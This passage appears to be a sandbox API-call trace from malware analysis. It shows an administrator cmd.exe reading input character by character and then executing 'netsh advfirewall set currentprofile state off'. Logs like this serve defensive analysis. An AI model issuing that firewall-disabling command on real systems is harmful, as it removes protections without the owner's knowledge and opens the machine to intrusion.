(in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e362, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0198.148] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.148] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.148] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.148] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e364, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0198.148] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.148] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.148] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.148] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e366, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0198.148] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.148] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.148] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.148] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e368, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0198.148] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.148] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.149] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.149] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e36a, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0198.149] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.149] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.149] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.149] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e36c, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0198.149] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.149] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.149] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.149] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e36e, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0198.149] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.149] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.149] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.149] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e370, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0198.149] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.149] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.149] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.149] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e372, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0198.149] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.149] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.149] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.149] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e374, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0198.149] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.149] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.149] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.149] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e376, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0198.150] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.150] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.150] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.150] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e378, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0198.150] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.150] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.150] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.150] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e37a, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0198.150] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.150] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.150] ReadFile (in: hFile=0xc0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24f698, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x24f698*=0x1, lpOverlapped=0x0) returned 1 [0198.150] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e37c, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0198.151] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.151] GetFileType (hFile=0xc0) returned 0x3 [0198.151] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.151] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.151] _get_osfhandle (_FileHandle=1) returned 0xcc [0198.151] GetFileType (hFile=0xcc) returned 0x3 [0198.151] _get_osfhandle (_FileHandle=1) returned 0xcc [0198.151] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="netsh advfirewall set currentprofile state off\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh advfirewall set currentprofile state off\n", lpUsedDefaultChar=0x0) returned 48 [0198.151] WriteFile (in: hFile=0xcc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x24f678, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x24f678*=0x2f, lpOverlapped=0x0) returned 1 [0198.151] GetProcessHeap () returned 0x410000 [0198.151] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x4012) returned 0x42b240 [0198.151] GetProcessHeap () returned 0x410000 [0198.151] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42b240 | out: hHeap=0x410000) returned 1 [0198.152] _wcsicmp (_String1="netsh", _String2=")") returned 69 [0198.152] _wcsicmp (_String1="FOR", _String2="netsh") returned -8 [0198.152] _wcsicmp (_String1="FOR/?", _String2="netsh") returned -8 [0198.152] _wcsicmp (_String1="IF", _String2="netsh") returned -5 [0198.152] _wcsicmp (_String1="IF/?", _String2="netsh") returned -5 [0198.152] _wcsicmp (_String1="REM", _String2="netsh") returned 4 [0198.152] _wcsicmp (_String1="REM/?", _String2="netsh") returned 4 [0198.152] GetProcessHeap () returned 0x410000 [0198.152] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xb0) returned 0x4297c0 [0198.152] GetProcessHeap () returned 0x410000 [0198.152] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x1c) returned 0x424610 [0198.153] GetProcessHeap () returned 0x410000 [0198.153] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x64) returned 0x429880 [0198.153] GetConsoleOutputCP () returned 0x1b5 [0198.345] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0198.345] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0198.345] GetConsoleTitleW (in: lpConsoleTitle=0x24f630, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0198.345] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0198.345] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0198.345] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0198.345] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0198.345] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0198.345] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0198.345] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0198.346] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0198.346] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0198.346] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0198.346] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0198.346] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0198.346] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0198.346] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0198.346] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0198.346] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0198.346] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0198.346] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0198.346] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0198.346] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0198.346] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0198.346] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0198.346] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0198.346] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0198.346] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0198.346] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0198.346] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0198.346] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 [0198.346] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0198.346] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0198.346] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0198.346] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0198.346] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0198.346] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3 [0198.346] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0198.346] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0198.346] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0198.346] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0198.346] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0198.346] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0198.347] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0198.347] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0198.347] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0198.347] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0198.347] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0198.347] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0198.347] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0198.347] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0198.347] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0198.347] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0198.347] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0198.347] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0198.347] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0198.347] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0198.347] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0198.347] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0198.347] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0198.347] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0198.347] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0198.347] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0198.347] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0198.347] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0198.347] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0198.347] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0198.348] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0198.348] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0198.348] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0198.348] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0198.348] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0198.348] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 [0198.348] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0198.348] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0198.348] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0198.348] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0198.348] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0198.348] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3 [0198.348] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0198.348] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0198.348] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0198.348] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0198.348] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0198.348] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0198.348] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0198.348] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0198.348] _wcsicmp (_String1="netsh", _String2="FOR") returned 8 [0198.348] _wcsicmp (_String1="netsh", _String2="IF") returned 5 [0198.348] _wcsicmp (_String1="netsh", _String2="REM") returned -4 [0198.349] GetProcessHeap () returned 0x410000 [0198.349] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x218) returned 0x42aa10 [0198.349] GetProcessHeap () returned 0x410000 [0198.349] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x70) returned 0x425b70 [0198.349] _wcsnicmp (_String1="nets", _String2="cmd ", _MaxCount=0x4) returned 11 [0198.349] GetProcessHeap () returned 0x410000 [0198.349] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x420) returned 0x42b240 [0198.350] SetErrorMode (uMode=0x0) returned 0x0 [0198.350] SetErrorMode (uMode=0x1) returned 0x0 [0198.350] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x42b250, lpFilePart=0x24eec0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x24eec0*="system32") returned 0x13 [0198.350] SetErrorMode (uMode=0x0) returned 0x1 [0198.350] GetProcessHeap () returned 0x410000 [0198.350] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x42b240, Size=0x44) returned 0x42b240 [0198.350] GetProcessHeap () returned 0x410000 [0198.350] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x42b240) returned 0x44 [0198.350] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0198.350] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0198.350] GetProcessHeap () returned 0x410000 [0198.350] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x104) returned 0x429be0 [0198.350] GetProcessHeap () returned 0x410000 [0198.350] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x1f8) returned 0x429cf0 [0198.356] GetProcessHeap () returned 0x410000 [0198.357] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x429cf0, Size=0x106) returned 0x429cf0 [0198.357] GetProcessHeap () returned 0x410000 [0198.357] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x429cf0) returned 0x106 [0198.357] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0198.357] GetProcessHeap () returned 0x410000 [0198.357] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xe8) returned 0x425bf0 [0198.357] GetProcessHeap () returned 0x410000 [0198.357] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x425bf0, Size=0x7e) returned 0x425bf0 [0198.357] GetProcessHeap () returned 0x410000 [0198.357] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x425bf0) returned 0x7e [0198.359] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0198.359] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0x24ec30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ec30) returned 0x425c80 [0198.359] GetProcessHeap () returned 0x410000 [0198.359] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x0, Size=0x28) returned 0x424640 [0198.359] FindClose (in: hFindFile=0x425c80 | out: hFindFile=0x425c80) returned 1 [0198.359] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\netsh.COM", fInfoLevelId=0x1, lpFindFileData=0x24ec30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ec30) returned 0xffffffffffffffff [0198.359] GetLastError () returned 0x2 [0198.359] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\netsh.EXE", fInfoLevelId=0x1, lpFindFileData=0x24ec30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24ec30) returned 0x425c80 [0198.360] GetProcessHeap () returned 0x410000 [0198.360] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x424640, Size=0x8) returned 0x428900 [0198.360] FindClose (in: hFindFile=0x425c80 | out: hFindFile=0x425c80) returned 1 [0198.360] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0198.360] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0198.360] GetConsoleTitleW (in: lpConsoleTitle=0x24f180, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0198.360] GetProcessHeap () returned 0x410000 [0198.360] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x21c) returned 0x42b2a0 [0198.360] GetConsoleTitleW (in: lpConsoleTitle=0x42b2b0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0198.360] GetProcessHeap () returned 0x410000 [0198.360] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x42b2a0, Size=0xd6) returned 0x42b2a0 [0198.360] GetProcessHeap () returned 0x410000 [0198.360] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x42b2a0) returned 0xd6 [0198.360] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - netsh advfirewall set currentprofile state off") returned 1 [0198.361] GetProcessHeap () returned 0x410000 [0198.362] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42b2a0 | out: hHeap=0x410000) returned 1 [0198.362] InitializeProcThreadAttributeList (in: lpAttributeList=0x24ef38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x24eef8 | out: lpAttributeList=0x24ef38, lpSize=0x24eef8) returned 1 [0198.362] UpdateProcThreadAttribute (in: lpAttributeList=0x24ef38, dwFlags=0x0, Attribute=0x60001, lpValue=0x24eee8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x24ef38, lpPreviousValue=0x0) returned 1 [0198.362] GetStartupInfoW (in: lpStartupInfo=0x24f050 | out: lpStartupInfo=0x24f050*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc0, hStdOutput=0xcc, hStdError=0xcc)) [0198.362] GetProcessHeap () returned 0x410000 [0198.362] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x20) returned 0x424640 [0198.362] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0198.362] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0198.362] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0198.362] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0198.362] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0198.362] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0198.362] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0198.362] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0198.362] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0198.362] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0198.362] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0198.362] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0198.362] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0198.362] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0198.362] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0198.362] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0198.362] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0198.362] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0198.362] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0198.363] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0198.363] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0198.363] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0198.363] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0198.363] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0198.363] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0198.363] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0198.363] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0198.363] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0198.363] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0198.363] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0198.363] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0198.363] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0198.363] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0198.363] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0198.363] _wcsnicmp (_String1="COPYCMD", 